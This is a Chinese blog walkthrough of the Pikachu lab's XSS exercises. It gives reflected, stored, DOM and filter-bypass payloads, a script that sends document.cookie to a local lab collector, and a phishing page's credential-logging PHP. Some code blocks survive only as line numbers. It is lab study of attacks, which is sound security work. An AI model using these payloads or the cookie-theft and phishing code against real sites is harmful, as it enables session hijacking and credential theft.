web安全_皮卡丘_xss
xss源碼分析
反射型主要在查詢的地方,存儲型主要在留言、評論的地方,dom型是特殊的反射型。pikachu的xss沒有做很多過濾,重點展示的是原理,在實際情況中肯定會有很多過濾和轉義的。要多積累一些。
1.反射型xss(get)
測試隨便輸入,發現會把用戶輸入的輸出到下面的who is后面,測試一下<script>alert(‘xss’)</srcipt>,彈出xss。(記得把maxlength屬性改大一點)
代碼分析:
$html變量直接拼接了{$_GET[‘message’]},后面代碼又直接echo,沒做任何過濾,轉義。echo出的代碼變成了
- 1
- 2
- 3
2.反射型xss(post)
和1一樣,只不過1是get提交,2是post提交,代碼都是一樣的。
3.存儲型xss
測試一下,隨便輸入,發現會輸出在留言列表里,刷新頁面也一直在,輸入<script>alert(document.cookie)</script>測試,alert出了cookie。每次點擊這個頁面都會alert出cookie,說明是存儲型的,已經存在數據庫了。
代碼分析:
原因仍然是對輸入的內容沒有做任何過濾和轉義,直接往數據庫里插入了用戶輸入的內容,輸出的時候也沒有任何過濾和轉義,直接取數據echo出來。
4.dom型xss
輸入111測試,點擊what do you see,跳轉到111,猜測可能是<a>標簽的href屬性,審查元素看一下,發現我們輸入的str被調整在id為dom的元素里,且<a href=’"+str+"’>what do you see?</a>,于是想到可以閉合a標簽,并且執行我們輸入的惡意代碼。
跟進domxss()
輸入'><img src=1 onerror=alert(document.cookie)>
也可' onclick="alert('xss')">
等
代碼分析已經在上面很清楚了,沒對用戶的輸入做任何處理。
5.dom型xss-x
輸入111
點擊出現的 “有些費盡心機想要忘記的事情,后來真的就忘掉了”
出現“就讓往事都隨風,都隨風吧”,繼續點這個
跟4的情況一樣。審查源碼看看
注:
1.window.location.search:返回url中?后面的內容。詳見這里
2.split():把一個字符串分割成字符串數組。詳見這里
3.decodeURIComponent():對 encodeURIComponent() 函數編碼的 URI 進行解碼.因為str是從url中問號后面截取下來的,經過了url編碼的。詳見這里
4.replace():在字符串中用一些字符替換另一些字符,或替換一個與正則表達式匹配的子串。這里是把+替換成空格。詳見這里
可以看到str還是直接拼接在a標簽里。
測試'><img src=1 onerror=alert(1)>,跟上面4是一樣的。
原因:沒對用戶的輸入做任何處理,直接拼接。
6.xss之盲打
隨便輸入測試一下,提交,什么都沒返回,就提示用戶輸入的對方已經收到,猜測應該是存到數據庫了,管理員登陸后臺可以看到。剛好點擊作者給的提示,給出了后臺登陸的地址。這里我們不知道有沒有xss,就要試試的,看不到不代表不存在。
輸入<script>alert(1)</script>,登陸后臺看看,結果是存在xss的。
代碼分析:
用戶輸入的直接存入了數據庫,取出也是直接取出并echo出來,導致xss
7xss之過濾
輸入<script>alert(1)<script>進行測試,看到幾乎把標簽和函數都過濾掉了,想辦法繞過過濾,試試
<img src=1 οnerrοr=alert(1)>,彈出窗口。可能存在xss漏洞。
源碼分析:
后臺對用戶輸入的內容進行了正則匹配過濾,將<srcipt以及各個符號中間的任意元素都刪掉了。但是沒有過濾img標簽,沒有過濾危險函數。
注:xss繞過姿勢
1.前端限制直接改前端html代碼,或者抓包重發
2.大小寫過濾
3.雙寫繞過
4.用注釋干擾
5.編碼
8.xss之htmlspecialchars
用戶輸入的內容也是在href標簽里,且后端應該是用了htmlspecialchars過濾,但是這個函數默認情況下是不會編碼單引號的,因此可以試試' onclick='alert(1)',彈出了窗口,可能存在xss。
htmlspecialchars():http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp
9.xss之href輸出
經過測試發現> < " ' & 都被編碼,且發現用戶輸入的在href標簽里,故可用js,a標簽href屬性詳解http://www.w3school.com.cn/tags/att_a_href.asp
構造javascript:alert(1)
代碼分析:
這里防御需要禁用js協議
10.xss之js輸出
還是先測試,加上查看源碼,可分析出js里面的$ms就是用戶的輸入,于是想到閉合<script>$ms=’ ‘,構造用戶輸入為:x’</script><script>alert(‘xss’)</script>
源碼分析:
構造payloads之后,會閉合第一個script標簽,同時寫入新的js語句。
修復需要注意的問題:1.這里如果進行html的實體編碼,雖然可以解決XSS的問題,但是實體編碼后的內容,在JS里面不會進行翻譯,這樣會導致前端的功能無法使用。2.所以在JS的輸出點應該使用\對特殊字符進行轉義
xss實際利用
1.xss獲取用戶coockie
反射型xss:輸入
<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>登陸管理后臺查看,已經獲取了信息
源碼:cookie.php
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
2.釣魚
釣魚頁面往往可以做的很真實,這個只是個實驗。
存儲型xss,輸入
彈出窗口
一旦輸入你的用戶名和密碼就被釣魚了
源碼:fish.php
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
注:PHP中Header函數和PHP_AUTH_USER做用戶驗證原理:https://blog.csdn.net/Jacksun_huang/article/details/88737297
xfish.php
<?php error_reporting(0); include_once '../inc/config.inc.php'; include_once '../inc/mysql.inc.php'; $link=connect(); if(!empty($_GET['username']) && !empty($_GET['password'])){$username=$_GET['username'];$password=$_GET['password'];$referer="";$referer.=$_SERVER['HTTP_REFERER'];$time=date('Y-m-d g:i:s');$query="insert fish(time,username,password,referer) values('$time','$username','$password','$referer')";$result=mysqli_query($link, $query); } ?>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
xss修復
1.過濾危險字符
2.編碼轉換
網上找的一個通防,在pikachu本地測試成功攔截xss:
PHP進行安全字段和防止XSS跨站腳本攻擊過濾(通用版)
總結
以上是生活随笔為你收集整理的web安全_皮卡丘_xss的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: web安全_皮卡丘_csrf
- 下一篇: pikachu漏洞靶机之xss漏洞pos